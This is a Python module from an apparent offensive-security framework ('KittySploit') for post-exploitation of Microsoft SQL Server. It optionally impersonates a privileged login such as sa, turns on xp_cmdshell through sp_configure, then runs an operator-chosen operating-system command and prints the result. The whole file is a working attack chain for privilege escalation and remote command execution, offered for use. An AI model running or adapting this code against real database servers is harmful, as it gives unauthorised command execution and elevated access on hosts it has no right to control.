MSSQL xp_cmdshell
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Enable xp_cmdshell and run OS commands (NetExec MSSQL xp_cmdshell chain)."""
from kittysploit import *
from lib.protocols.mssql.mssql_client import MSSQLClient
class Module(Post, MSSQLClient):
__info__ = {
"name": "MSSQL xp_cmdshell",
"description": (
"Optionally impersonate a login (e.g. sa), enable xp_cmdshell, and execute "
"an OS command (NetExec: EXECUTE AS + sp_configure + xp_cmdshell)."
),
"author": ["KittySploit Team"],
"session_type": SessionType.MSSQL,
"tags": ["mssql", "xp_cmdshell", "rce", "post", "netexec", "privesc"],
"references": ["https://www.netexec.wiki/"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation", "host_modification"],
"expected_requests": 4,
"reversible": False,
"approval_required": True,
"produces": ["risk_signals"],
},
}
impersonate = OptString(
"",
"Login to EXECUTE AS before enabling xp_cmdshell (e.g. sa)",
False,
)
command = OptString(
"whoami",
"OS command to run via xp_cmdshell",
True,
)
enable = OptBool(
True,
"Enable show advanced options + xp_cmdshell before running",
False,
)
def run(self):
try:
impersonate = str(self.impersonate or "").strip()
cmd = str(self.command or "whoami").strip()
if not cmd:
raise ProcedureError(FailureType.ConfigurationError, "command is required")
prefix = ""
suffix = ""
if impersonate:
safe = impersonate.replace("'", "''")
prefix = f"EXECUTE AS LOGIN = '{safe}'; "
suffix = "; REVERT"
print_status(f"Impersonating login: {impersonate}")
if self.enable:
enable_sql = (
prefix
+ "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; "
+ "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE"
+ suffix
)
print_status("Enabling xp_cmdshell...")
try:
self.execute_query(enable_sql, fetch_all=False)
print_success("xp_cmdshell enabled")
except Exception as exc:
print_warning(f"Enable may have failed (continuing): {exc}")
safe_cmd = cmd.replace("'", "''")
run_sql = prefix + f"EXEC xp_cmdshell '{safe_cmd}'" + suffix
print_status(f"xp_cmdshell → {cmd}")
rows = self.execute_query(run_sql) or []
print_info("=" * 60)
for row in rows:
if isinstance(row, dict):
line = next(iter(row.values()), None)
elif isinstance(row, (list, tuple)):
line = row[0]
else:
line = row
if line is None:
continue
print_info(str(line))
print_info("=" * 60)
print_success("xp_cmdshell finished")
return True
except ProcedureError:
raise
except Exception as exc:
print_error(str(exc))
return False
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